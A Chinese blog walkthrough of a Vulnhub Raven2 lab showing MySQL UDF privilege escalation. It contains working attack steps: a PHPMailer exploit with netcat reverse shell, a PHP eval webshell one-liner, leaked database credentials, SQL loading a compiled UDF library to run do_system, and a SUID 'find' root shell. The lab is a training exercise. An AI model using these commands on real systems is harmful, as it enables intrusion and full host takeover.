MySQL之UDF提权复现

2024-09-03 16:20
文章标签 mysql 复现 database 提权 udf

本文主要是介绍MySQL之UDF提权复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

什么是UDF:

UDF(Userfined function)用户自定义函数,是MySQL的一个扩展接口,用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用。

提权条件:

  • 知道MySQL用户名和密码,可以登录
  • MySQL有写入文件权限,即 secure_file_priv 的值为空

注意:使用 UDF 提权是在没有获取到 webshell 的前提下,如果获取到了就没有必要进行提权了,因为 udf 提权后就是让你获取目标主机当前用户的权限,而 webshell 也是获取到目标主机当前用户的权限。

如何使用UDF提权

  • MySQL版本 >= 5.1版本:udf.dll(udf.so)文件必须放置于MySQL安装目录下的 lib\plugin 文件夹下

  • MySQL版本 < 5.1版本:udf.dll 文件放置于 c:\windows 或者 c:\system32

如果目录不存在则利用 NTFS 数据流创建文件目录

udf提权可以用于 windows 系统(udf.dll)也可以用于linux平台(udf.so)。但 udf 提权基本上用于 windows 系统,linux系统中 mysql版本 < 5.1 udf.so 该放哪里网上查找也没有得到结果。

靶场复现

通过 vulnhub 下载靶场镜像

靶机地址:https://download.vulnhub.com/raven/Raven2.ova

  • 攻击机kali(192.168.111.129)
  • 靶机Raven2(192.168.111.132)
信息收集

nmap扫描端口开放情况

 nmap 192.168.111.132 -sV -p- -Pn

在这里插入图片描述
发现开放了22,80,111,58686端口,操作系统为Linux。

访问80端口:
在这里插入图片描述
dirsearch 扫描一下目录:
在这里插入图片描述
发现靶机是 wordpress (可以用wpscan扫描有没有wordpress漏洞)。

此外还发现另外一个目录/vendor目录,访问目录发现存在信息泄露

在这里插入图片描述
通过 README.md 文件得知为 phpmailer,百度 phpmailer 知道是一个php发送邮件的程序,且版本小于 5.2.18 存在漏洞远程命令执行漏洞,查看当前 version 版本为 5.2.16
在这里插入图片描述

phpmailer漏洞利用

使用 python 脚本,复制脚本到桌面,将 target 改为目标IP,后面拼接 contact.php(该文件应该是PHPMailer服务接口),backdoor 为生成的后门文件,payload 改为 kali 的 ip 和监听的端口,email那把路径改为目标的网站根目录,可以在 /vendor/PATH 中找到。
在这里插入图片描述
修改完成后执行。

 python 40974.py  

在这里插入图片描述
先开启 nc 监听接收shell,然后浏览器访问生成的后门文件,终端回显,getshell成功。(这里后门文件名应该有限制,默认生成不了,改为1.php后成功了)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
执行 whoami 发现为 www-date 权限

使用 python 执行交互式 shell

python -c 'import pty;pty.spawn("/bin/bash")'

也可以写一句话用菜刀蚁剑连接方便操作

echo '<?php @eval($_POST['s']);?>' >2.php

进入wordpress目录内查看wp的配置文件wp-config.php,发现数据库用户名与密码。
在这里插入图片描述
账号 root,密码 R@v3nSecurity

使用得到的用户名密码登录mysql

mysql -uroot -pR@v3nSecurity

在这里插入图片描述
在user表中发现了其他用户名与密码,但是加密的密码没有破解出来。所以换个思路尝试下UDF提权。

MySQL-UDF提权利用

首先查找漏洞,并下载漏洞利用脚本1518.c

searchsploit udfsearchsploit udf -m 1518.c

在这里插入图片描述
下载 udf 提权脚本,在 kali 使用 gcc 编译成 Linux 所需 udf 提权的so文件。

gcc -g -c 1518.cgcc -g -shared -o 1518.so 1518.o

将编译后的1518.so上传到靶机 /tmp 目录内。

python3 -m http.server 8888 wget 192.168.111.129:8888/1518.so

在这里插入图片描述
登录 mysql 切换数据库 wordpress 并创建新表 foo。

create table foo(line blob); #创建数据表insert into foo values(load_file('/tmp/1518.so')); #读取 1518.so 并将其保存在表foo中select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
#查询刚才添加的数据,保存到/usr/lib/mysql/plugin/1518.so文件(mysql存放自定义函数的地方)create function do_system returns integer soname '1518.so';
#加载 1518.so 函数文件用来创建自定义函数,类型是integer,soname 别名 select * from mysql.func; #查询函数是否创建成功select do_system('chmod u+s /usr/bin/find'); #调用自定义函数do_system赋予find命令suid权限。

在这里插入图片描述

select do_system('chmod u+s /usr/bin/find'); #调用自定义函数do_system赋予find命令suid权限。

在这里插入图片描述
准备工作完成后退出数据库,使用find命令进行提权。

mysql> quit
​
find / -exec "/bin/sh" \;
#find /:从根目录开始查找。
#-exec:表示对找到的每个文件执行后面的命令。
#"/bin/sh":这是要执行的命令,即启动一个新的 shell 实例。
#\;:表示 -exec 命令的结束。

在这里插入图片描述
根据结果可以看到提权成功

这篇关于MySQL之UDF提权复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1133429

相关文章

MySQL 8 中的一个强大功能 JSON_TABLE示例详解

《MySQL8中的一个强大功能JSON_TABLE示例详解》JSON_TABLE是MySQL8中引入的一个强大功能,它允许用户将JSON数据转换为关系表格式,从而可以更方便地在SQL查询中处理J... 目录基本语法示例示例查询解释应用场景不适用场景1. ‌jsON 数据结构过于复杂或动态变化‌2. ‌性能要

MySQL字符串常用函数详解

《MySQL字符串常用函数详解》本文给大家介绍MySQL字符串常用函数,本文结合实例代码给大家介绍的非常详细,对大家学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录mysql字符串常用函数一、获取二、大小写转换三、拼接四、截取五、比较、反转、替换六、去空白、填充MySQL字符串常用函数一、

MySQL中比较运算符的具体使用

《MySQL中比较运算符的具体使用》本文介绍了SQL中常用的符号类型和非符号类型运算符,符号类型运算符包括等于(=)、安全等于(=)、不等于(/!=)、大小比较(,=,,=)等,感兴趣的可以了解一下... 目录符号类型运算符1. 等于运算符=2. 安全等于运算符<=>3. 不等于运算符<>或!=4. 小于运

虚拟机Centos7安装MySQL数据库实践

《虚拟机Centos7安装MySQL数据库实践》用户分享在虚拟机安装MySQL的全过程及常见问题解决方案,包括处理GPG密钥、修改密码策略、配置远程访问权限及防火墙设置,最终通过关闭防火墙和停止Net... 目录安装mysql数据库下载wget命令下载MySQL安装包安装MySQL安装MySQL服务安装完成

MySQL进行数据库审计的详细步骤和示例代码

《MySQL进行数据库审计的详细步骤和示例代码》数据库审计通过触发器、内置功能及第三方工具记录和监控数据库活动,确保安全、完整与合规,Java代码实现自动化日志记录,整合分析系统提升监控效率,本文给大... 目录一、数据库审计的基本概念二、使用触发器进行数据库审计1. 创建审计表2. 创建触发器三、Java

MySQL逻辑删除与唯一索引冲突解决方案

《MySQL逻辑删除与唯一索引冲突解决方案》本文探讨MySQL逻辑删除与唯一索引冲突问题,提出四种解决方案:复合索引+时间戳、修改唯一字段、历史表、业务层校验,推荐方案1和方案3,适用于不同场景,感兴... 目录问题背景问题复现解决方案解决方案1.复合唯一索引 + 时间戳删除字段解决方案2:删除后修改唯一字

Zabbix在MySQL性能监控方面的运用及最佳实践记录

《Zabbix在MySQL性能监控方面的运用及最佳实践记录》Zabbix通过自定义脚本和内置模板监控MySQL核心指标(连接、查询、资源、复制),支持自动发现多实例及告警通知,结合可视化仪表盘,可有效... 目录一、核心监控指标及配置1. 关键监控指标示例2. 配置方法二、自动发现与多实例管理1. 实践步骤

MySQL 主从复制部署及验证(示例详解)

《MySQL主从复制部署及验证(示例详解)》本文介绍MySQL主从复制部署步骤及学校管理数据库创建脚本,包含表结构设计、示例数据插入和查询语句,用于验证主从同步功能,感兴趣的朋友一起看看吧... 目录mysql 主从复制部署指南部署步骤1.环境准备2. 主服务器配置3. 创建复制用户4. 获取主服务器状态5

SpringBoot中六种批量更新Mysql的方式效率对比分析

《SpringBoot中六种批量更新Mysql的方式效率对比分析》文章比较了MySQL大数据量批量更新的多种方法,指出REPLACEINTO和ONDUPLICATEKEY效率最高但存在数据风险,MyB... 目录效率比较测试结构数据库初始化测试数据批量修改方案第一种 for第二种 case when第三种

MySql基本查询之表的增删查改+聚合函数案例详解

《MySql基本查询之表的增删查改+聚合函数案例详解》本文详解SQL的CURD操作INSERT用于数据插入(单行/多行及冲突处理),SELECT实现数据检索(列选择、条件过滤、排序分页),UPDATE... 目录一、Create1.1 单行数据 + 全列插入1.2 多行数据 + 指定列插入1.3 插入否则更